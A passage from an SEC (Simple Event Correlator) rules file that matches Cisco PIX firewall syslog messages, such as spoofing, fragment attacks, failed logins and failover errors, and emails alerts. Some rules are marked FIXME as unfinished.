action=create spf_$1; add spf_$1 %t; add spf_$1 %s; add spf_$1 $0; report spf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spf_$1

# 106017
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP due to Land Attack from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+)
desc=PIX $1 IP LAND Attack
action=create lnd_$1; add lnd_$1 %t; add lnd_$1 %s; add lnd_$1 $0; report lnd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lnd_$1

# 106020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP teardrop fragment.*from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+)
desc=PIX $1 Teardrop Attack
action=create tdr_$1; add tdr_$1 %t; add tdr_$1 %s; add tdr_$1 $0; report tdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tdr_$1

# 106021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*reverse path check from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+).*
desc=PIX $1 Reverse Path Check Attack from $2 to $3
action=create rpc_$1; add rpc_$1 %t; add rpc_$1 %s; add rpc_$1 $0; report rpc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpc_$1

# 106022
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*connection spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+).*
desc=PIX $1 Connection Spoof Attack from $2 to $3
action=create spf_$1; add spf_$1 %t; add spf_$1 %s; add spf_$1 $0; report spf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spf_$1

# 106024
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Access rules memory exhausted
desc=PIX $1 Out of ACL Memory!
action=create ame_$1; add ame_$1 %t; add ame_$1 %s; add ame_$1 $0; report ame_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ame_$1

# 106025/6
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failed to determine the security context for the packet:(\S+):(\d+.\d+.\d+.\d+) (\d+.\d+.\d+.\d+) (\d+) (\d+).*
desc=PIX $1 failed getting context for vlan $2 $3:$4 to $5:$6
action=create ctx_$1; add ctx_$1 %t; add ctx_$1 %s; add ctx_$1 $0; report ctx_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ctx_$1

# 107001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*RIP auth failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 RIP Auth Attack from $2
action=create rip_$1; add rip_$1 %t; add rip_$1 %s; add rip_$1 $0; report rip_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rip_$1

# 107002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*RIP pkt failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 Invalid RIP Packet from $2
action=create rpk_$1; add rpk_$1 %t; add rpk_$1 %s; add rpk_$1 $0; report rpk_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpk_$1

# 109003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Auth from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+\/\d+) failed \(all servers failed\).*
desc=PIX $1 All AAA Failed from $2 to $3
action=create aaa_$1; add aaa_$1 %t; add aaa_$1 %s; add aaa_$1 $0; report aaa_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete aaa_$1

# 109006/8
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Authentication|Authorization) (failed|denied) for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Auth Guessing Attack by $2 from $3 to $4
action=create brt_$1; add brt_$1 %t; add brt_$1 %s; add brt_$1 $0; report brt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brt_$1
window=10
thresh=6

# 109010
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Auth from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+) failed \(too many pending auths\).*
desc=PIX $1 Max Auths Reached for $2 to $3
action=create mth_$1; add mth_$1 %t; add mth_$1 %s; add mth_$1 $0; report mth_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mth_$1

# 109017
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User at (\d+.\d+.\d+.\d+) exceeded auth proxy connection 
desc=PIX $1 $2 has opened to many proxy conns
action=create pcn_$1; add pcn_$1 %t; add pcn_$1 %s; add pcn_$1 $0; report pcn_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pcn_$1

# 109024
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Authorization denied.*for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Authorization Denied HAMMER $2 from $3 to $4
action=create uhm_$1; add uhm_$1 %t; add uhm_$1 %s; add uhm_$1 $0; report uhm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete uhm_$1
window=10
thresh=6

# 109025
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Authorization denied \(acl=.*\) for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+) on interface.*
desc=PIX $1 Authorization Denied  HAMMER $2 from $3 to $4
action=create uhm_$1; add uhm_$1 %t; add uhm_$1 %s; add uhm_$1 $0; report uhm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete uhm_$1
window=10
thresh=6

# 111001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Begin configuration: (\d+.\d+.\d+.\d+) writing to (\S+)
desc=PIX $1 Config saved to $3 by $2
action=create sav_$1; add sav_$1 %t; add sav_$1 %s; add sav_$1 $0; report sav_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sav_$1

# 111002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Begin configuration: (\d+.\d+.\d+.\d+) reading from (\S+)
desc=PIX $1 Config read from $3 by $2
action=create sav_$1; add sav_$1 %t; add sav_$1 %s; add sav_$1 $0; report sav_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sav_$1

# 111003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(\d+.\d+.\d+.\d+) Erase configuration
desc=PIX $1 WRITE ERASE WAS ISSUED $2
action=create ers_$1; add ers_$1 %t; add ers_$1 %s; add ers_$1 $0; report ers_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ers_$1

# 111004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(\d+.\d+.\d+.\d+) end configuration: \[FAILED\]
desc=PIX $1 FAILED CONFIGURING $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 111008
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User \'(\S+)\' executed the command (.*)
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# FIXME -- Add syslog number
# FSWM Style
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User \'(\S+)\' executed the \'(.*)\' command.*
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1


# 111008
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User (\S+) executed cmd:(.*)
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Unable to open AAA session. Session limit
desc=PIX $1 AAA Reached session limit
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113005
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*AAA user authentication Rejected: reason = (.*) server = .* User = (\S+).*
desc=PIX $1 IPSEC: User Auth Attack: $2 for $3
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1
window=10
thresh=6

# 113006
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User (\S+) locked out on exceeding number successive failed authentication attempts
desc=PIX $1 User Locked out: $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Kerberos error : Clock skew with server (\d+.\d+.\d+.\d+).*
desc=PIX $1 User Locked out: $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# Might be only 6.x
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Console Login from user at (\d+.\d+.\d+.\d+)
desc=PIX $1 Console Login from $2
action=create con_$1; add con_$1 %t; add con_$1 %s; add con_$1 $0; report con_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete con_$1

# 112001 
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*clear (finished|complete)\.
desc=PIX $1 Clear Command Executed
action=create clr_$1; add clr_$1 %t; add clr_$1 %s; add clr_$1 $0; report clr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete clr_$1

# 199002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*[rR]eload command executed from.*(\d+.\d+.\d+.\d+)
desc=PIX $1 Reloaded by $2
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 199002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Orderly reload started at.*by (\S+). Reload.*
desc=PIX $1 Reloaded by $2
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 201002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+).*Too many.*connections on (static|xlate) (\d+.\d+.\d+.\d+)
desc=PIX $1 Max Embryonics to $3 (not attack)
action=create max_$1; add max_$1 %t; add max_$1 %s; add max_$1 $0; report max_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete max_$1

# 201003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Embryonic limit exceeded.*for (\d+.\d+.\d+.\d+\/\d+) \((\d+.\d+.\d+.\d+)\) (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Max Embryonics from $2 to $3 ($4) Attack
action=create emb_$1; add emb_$1 %t; add emb_$1 %s; add emb_$1 $0; report emb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete emb_$1

# 201008
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The PIX is disallowing new connections.
desc=PIX $1 No longer allowing connections!
action=create stp_$1; add stp_$1 %t; add stp_$1 %s; add stp_$1 $0; report stp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete stp_$1

# 202001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Out of address translation slots!
desc=PIX $1 Out of NAT Slots
action=create nnt_$1; add nnt_$1 %t; add nnt_$1 %s; add nnt_$1 $0; report nnt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nnt_$1

# 209003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Fragment database limit of.*exceeded: src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 No room to assemble more frags from $2 to $3
action=create frg_$1; add frg_$1 %t; add frg_$1 %s; add frg_$1 $0; report frg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete frg_$1

# 209004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Invalid IP fragment, size =.*exceeds maximum size =.*src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 Frag is invalid from $2 to $3
action=create lrg_$1; add lrg_$1 %t; add lrg_$1 %s; add lrg_$1 $0; report lrg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lrg_$1

# 209005
# FIXME -- Cisco log message doesnt match this
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Discard IP fragment set with more than.*elements:src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 To many frags from $2 to $3
action=create _$1; add _$1 %t; add _$1 %s; add _$1 $0; report _$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete _$1

# 210002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate block .* failed.
desc=PIX $1 Failover Block Alocation Failed
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 210005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate connection failed
desc=PIX $1 Failover Connection Failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 210003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Unknown LU Object.*
desc=PIX $1 Failover: Unknown LU Object
action=create ulu_$1; add ulu_$1 %t; add ulu_$1 %s; add ulu_$1 $0; report ulu_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ulu_$1

# 210006
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU look NAT for (\d+.\d+.\d+.\d+) failed
desc=PIX $1 Failover NAT Sync failed for $2
action=create fns_$1; add fns_$1 %t; add fns_$1 %s; add fns_$1 $0; report fns_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fns_$1

# 210007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate xlate failed
desc=PIX $1 Failover xlate Sync Failed
action=create fxs_$1; add fxs_$1 %t; add fxs_$1 %s; add fxs_$1 $0; report fxs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxs_$1

# 210008
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU no xlate for (\d+.\d+.\d+.\d+\/\d+) (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Failover xlate Sync Failure for $2 to $3
action=create fxs_$1; add fxs_$1 %t; add fxs_$1 %s; add fxs_$1 $0; report fxs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxs_$1

# 210010
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU make UDP connection for (\d+.\d+.\d+.\d+:\d+) (\d+.\d+.\d+.\d+:\d+) failed
desc=PIX $1 Failover UDP Conn sync failure for $2 to $3
action=create fus_$1; add fus_$1 %t; add fus_$1 %s; add fus_$1 $0; report fus_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fus_$1

# 210020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU PAT port (\d+) reserve failed
desc=PIX $1 Failover PAT Sync for $2 failed
action=create fps_$1; add fps_$1 %t; add fps_$1 %s; add fps_$1 $0; report fps_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fps_$1

# 210021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU create static xlate (\d+.\d+.\d+.\d+).*failed
desc=PIX $1 Failover Static xlate failed for $2
action=create fxf_$1; add fxf_$1 %t; add fxf_$1 %s; add fxf_$1 $0; report fxf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxf_$1

# 210022
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU missed (\d+) updates
desc=PIX $1 Failover Sync failed for $2 updates
action=create fsf_$1; add fsf_$1 %t; add fsf_$1 %s; add fsf_$1 $0; report fsf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsf_$1

# 211001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Memory allocation Error
desc=PIX $1 Memory allocation Error!
action=create mae_$1; add mae_$1 %t; add mae_$1 %s; add mae_$1 $0; report mae_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mae_$1

# 211003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*CPU utilization for (\d+) seconds = (.*)
desc=PIX $1 CPU high ($2) for $3 secs
action=create cpu_$1; add cpu_$1 %t; add cpu_$1 %s; add cpu_$1 $0; report cpu_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cpu_$1

# 211003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping SNMP request from (\d+.\d+.\d+.\d+\/\d+) to.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 SNMP Attempt from $2 to $3
action=create snp_$1; add snp_$1 %t; add snp_$1 %s; add snp_$1 $0; report snp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete snp_$1

# 213001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPTP control daemon socket io.*errno = (\d+)
desc=PIX $1 PPTP Error $2
action=create ppt_$1; add ppt_$1 %t; add ppt_$1 %s; add ppt_$1 $0; report ppt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppt_$1

# 213002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPTP tunnel hashtable insert failed, peer = (\d+.\d+.\d+.\d+)
desc=PIX $1 PPTP hash table insert failed for $2
action=create pht_$1; add pht_$1 %t; add pht_$1 %s; add pht_$1 $0; report pht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pht_$1

# 213003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface (\S+) isn't opened.
desc=PIX $1 PPP Virtual Int $2 failed to close
action=create ppp_$1; add ppp_$1 %t; add ppp_$1 %s; add ppp_$1 $0; report ppp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppp_$1

# 213004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface (\S+) client ip allocation failed.
desc=PIX $1 PPP Virutal interface $2 failure (pool depleted)
action=create ppl_$1; add ppl_$1 %t; add ppl_$1 %s; add ppl_$1 $0; report ppl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppl_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied Telnet login session from (\d+.\d+.\d+.\d+) on interface (int_name).
desc=PIX $1 Denid Telnet from $2 ($3) !!
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Permitted Telnet login session from (\d+.\d+.\d+.\d+)
desc=PIX $1 Permitted Telnet from $2 !
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*telnet login session failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 Telnet login guessing attack
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

# 308001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PIX console enable password incorrect for (num) tries \(from (\d+.\d+.\d+.\d+)\).
desc=PIX $1 Many Enable Password failures for $3
action=create enb_$1; add enb_$1 %t; add enb_$1 %s; add enb_$1 $0; report enb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enb_$1

# 315011
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*SSH session from (\d+.\d+.\d+.\d+) on interface.*for user (\S+) disconnected by SSH server, reason:.*
desc=PIX $1 SSH Auth Attach from $2 ($3)
action=create ssh_$1; add ssh_$1 %t; add ssh_$1 %s; add ssh_$1 $0; report ssh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ssh_$1
window=10
thresh=6

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied manager connection from (\d+.\d+.\d+.\d+).
desc=PIX $1 Denied Manager from $2
action=create nmg_$1; add nmg_$1 %t; add nmg_$1 %s; add nmg_$1 $0; report nmg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nmg_$1

# FIXME -- Add log code FWSM
type=Single
continue=takenext
ptype=RegExp
pattern==^PIXLOG (\S+)\^ .*Denied SSH session from (\d+.\d+.\d+.\d+) on interface.*
desc=PIX $1 Denied SSH from $2
action=create ssh_$1; add ssh_$1 %t; add ssh_$1 %s; add ssh_$1 $0; report ssh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ssh_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Permitted manager connection from (IP_addar).
desc=PIX $1 Allowed Manager from $2
action=create ymg_$1; add ymg_$1 %t; add ymg_$1 %s; add ymg_$1 $0; report ymg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ymg_$1

# FIXME
# SET \d+.\d+.\d+.\d+ TO ! 128.135.0.x
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*Permitted SSH session from (\d+.\d+.\d+.\d+) on interface.*for user "user_id"
#desc=PIX $1 Permitted ssh $3 from $2
#action=create fsh_$1; add fsh_$1 %t; add fsh_$1 %s; add fsh_$1 $0; report fsh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsh_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*SSH login session failed from (\d+.\d+.\d+.\d+) on \((num) attempts\) on interface.*by user "(\S+)"
desc=PIX $1 SSH $3 Failures from $2 by $4
action=create lsh_$1; add lsh_$1 %t; add lsh_$1 %s; add lsh_$1 $0; report lsh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lsh_$1

# 402101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*decaps: rec\'d IPSEC packet has invalid spi for destaddr=(\d+.\d+.\d+.\d+).*
desc=PIX $1 IPSEC: Invalid SPI in packet from $2 (possible attack)
action=create spi_$1; add spi_$1 %t; add spi_$1 %s; add spi_$1 $0; report spi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spi_$1

# 402101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*decapsulate: packet missing (.*), destadr=(\d+.\d+.\d+.\d+)
desc=PIX $1 IPSEC:  Packet to $3 did not have type $2 (possible attack)
action=create itp_$1; add itp_$1 %t; add itp_$1 %s; add itp_$1 $0; report itp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete itp_$1

# 402103
# FIXME -- This is messy
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*dentity doesn't match negotiated identity \((ip)\) dest_addr= (\d+.\d+.\d+.\d+), src_addr= (\d+.\d+.\d+.\d+), prot= protocol, \((ident)\) local=(\d+.\d+.\d+.\d+), remote=(\d+.\d+.\d+.\d+), local_proxy=(\d+.\d+.\d+.\d+/\d+.\d+.\d+.\d+/port/port), remote_proxy=(\d+.\d+.\d+.\d+/\d+.\d+.\d+.\d+/port/port)
#desc=PIX $1 IPSEC:  Peer $2 is attempting to send other packets through us $3 $4 $5 $6 $7
#action=create per_$1; add per_$1 %t; add per_$1 %s; add per_$1 $0; report per_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete per_$1

# 402115
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received a packet from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) containing.*data instead of.*data.
desc=PIX $1 IPSEC: packet from $2 to $3 doesn't match negotiated proto
action=create ipx_$1; add ipx_$1 %t; add ipx_$1 %s; add ipx_$1 $0; report ipx_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ipx_$1

# 402115
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received an.*packet.*from (\d+.\d+.\d+.\d+).*to (\d+.\d+.\d+.\d+).*The decapsulated inner packet doesn't match the negotiated policy in the SA
desc=PIX $1 IPSEC: packet from $2 to $3 is encapsulated with unexpected data.
action=create enc_$1; add enc_$1 %t; add enc_$1 %s; add enc_$1 $0; report enc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enc_$1

# 402118
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received an.*packet.*from (\d+.\d+.\d+.\d+).*to (\d+.\d+.\d+.\d+) containing an illegal IP fragment.*
desc=PIX $1 IPSEC: packet from $2 to $3 has invalid fragment
action=create enc_$1; add enc_$1 %t; add enc_$1 %s; add enc_$1 $0; report enc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enc_$1

# 403103
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface max connections reached.
desc=PIX $1  PPP interfaces exhausted
action=create pie_$1; add pie_$1 %t; add pie_$1 %s; add pie_$1 $0; report pie_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pie_$1

# 403109
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Rec\'d packet not an PPTP packet. \(.*\) dest_addr= (\d+.\d+.\d+.\d+), src_addr= (\d+.\d+.\d+.\d+).*
desc=PIX $1 Spoofed PPTP Packet from $3 to $2
action=create spp_$1; add spp_$1 %t; add spp_$1 %s; add spp_$1 $0; report spp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spp_$1

# 404101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ISAKMP: Failed to allocate address for client from pool (\S+)
desc=PIX $1 IPSEC: Failed to allocate addr from $2
action=create faa_$1; add faa_$1 %t; add faa_$1 %s; add faa_$1 $0; report faa_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete faa_$1

# 405001
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=PIXLOG (\S+)\^ .*Received ARP.*collision from (\d+.\d+.\d+.\d+\/....\.....\.....) on.*
#desc=PIX $1 ARP Collision: $2
#action=create mac_$1; add mac_$1 %t; add mac_$1 %s;add mac_$1 %s; add mac_$1 $0; report mac_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mac_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Configuration replication failed for command (\S+)
desc=PIX $1 Failover replication command $2 failed
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 709001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*FO replication failed: cmd=(.*) returned=.*
